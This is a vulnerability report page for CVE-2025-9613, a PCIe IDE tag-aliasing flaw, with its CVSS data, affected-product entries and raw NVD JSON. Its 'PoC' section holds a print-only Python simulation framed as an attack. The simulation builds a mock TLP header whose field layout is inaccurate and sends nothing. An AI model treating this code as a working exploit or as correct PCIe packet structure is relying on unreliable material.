Security Vulnerability Report
中文
CVE-2025-9613 CVSS 6.5 MEDIUM

CVE-2025-9613

Published: 2025-12-09 19:15:51
Last Modified: 2026-01-14 17:43:53

Description

A vulnerability was discovered in the PCI Express (PCIe) Integrity and Data Encryption (IDE) specification, where insufficient guidance on tag reuse after completion timeouts may allow multiple outstanding Non-Posted Requests to share the same tag. This tag aliasing condition can result in completions being delivered to the wrong security context, potentially compromising data integrity and confidentiality.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pcisig:pci_express_integrity_and_data_encryption:-:*:*:*:*:*:*:* - VULNERABLE
支持PCIe IDE功能但未修复标签管理机制的所有硬件设备
PCIe IDE规范早期版本(规范中缺乏标签重用安全指导)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9613 PoC - PCIe IDE Tag Aliasing Attack Simulation # Note: This is a conceptual PoC for demonstrating the vulnerability # Actual exploitation requires PCIe protocol expertise and hardware access import struct class PCIeTagAliasingPOC: def __init__(self): self.tag_space = 256 # PCIe Tag field is 8 bits (0-255) def generate_malicious_request(self, tag_id, request_type=0x0000): """ Generate a Non-Posted Request with specific tag PCIe TLP Header format: Fmt[1:0] Type[4:0] ... Tag[7:0] ... """ # Memory Read Request (Non-Posted) tlp_header = struct.pack('B', 0x00) # Fmt: 32-bit data, No Payload tlp_header += struct.pack('B', request_type) # Type: Memory Read tlp_header += struct.pack('H', 0x0000) # Length tlp_header += struct.pack('B', tag_id) # Malicious tag return tlp_header def trigger_completion_timeout(self): """ Simulate triggering completion timeout scenario This causes the receiver to potentially reuse the tag """ print("[+] Step 1: Sending request with tag 0x42") req1 = self.generate_malicious_request(0x42) print("[+] Step 2: Simulating completion timeout (no response)") # In real attack, this would involve preventing completion response print("[+] Step 3: Request tag reuse with new request") req2 = self.generate_malicious_request(0x42) # Same tag! print("[+] Step 4: Injecting malicious completion data") malicious_data = b'\xDE\xAD\xBE\xEF' * 4 print("[-] Potential impact: Data delivered to wrong security context") return req1, req2, malicious_data def demonstrate_tag_aliasing(self): """ Demonstrate the tag aliasing condition """ print("=" * 60) print("CVE-2025-9613 PCIe IDE Tag Aliasing PoC") print("=" * 60) self.trigger_completion_timeout() print("[!] Note: Actual exploitation requires PCIe bus access") print("=" * 60) if __name__ == "__main__": poc = PCIeTagAliasingPOC() poc.demonstrate_tag_aliasing()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9613", "sourceIdentifier": "[email protected]", "published": "2025-12-09T19:15:50.837", "lastModified": "2026-01-14T17:43:52.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was discovered in the PCI Express (PCIe) Integrity and Data Encryption (IDE) specification, where insufficient guidance on tag reuse after completion timeouts may allow multiple outstanding Non-Posted Requests to share the same tag. This tag aliasing condition can result in completions being delivered to the wrong security context, potentially compromising data integrity and confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pcisig:pci_express_integrity_and_data_encryption:-:*:*:*:*:*:*:*", "matchCriteriaId": "5FC26D98-4F15-4B0D-B661-BF2894CF8F5B"}]}]}], "references": [{"url": "https://pcisig.com/PCIeIDEStandardVulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://pcisig.com/specifications", "source": "[email protected]", "tags": ["Product"]}]}}